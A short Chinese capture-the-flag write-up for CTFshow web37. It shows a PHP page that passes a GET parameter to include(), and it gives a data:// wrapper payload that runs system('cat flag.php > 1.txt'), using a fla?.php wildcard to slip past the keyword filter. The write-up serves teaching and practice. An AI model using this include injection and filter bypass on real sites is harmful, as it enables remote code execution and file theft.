CTFSHOW-入门-web37

解题思路

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

发生了一些变化,现在只匹配了flag,然后这个变成了include($c)

那么我们尝试也是直接伪协议data形成一个新的php文件让他去读取,我们在在伪造的php文件里面直接利用其他函数去读,

?c=data://text/plain,<?php system('cat flag.php > 1.txt');?>

因为flag是关键字,所以只能执行系统命令去修改这个文件的名字了

查看1.txt,发现不存在文件

那么说明被拦截了刚才,flag

改成通配符

fla?.php

 

 


De4ault
無限進步
公告

粤ICP备2024275751号-3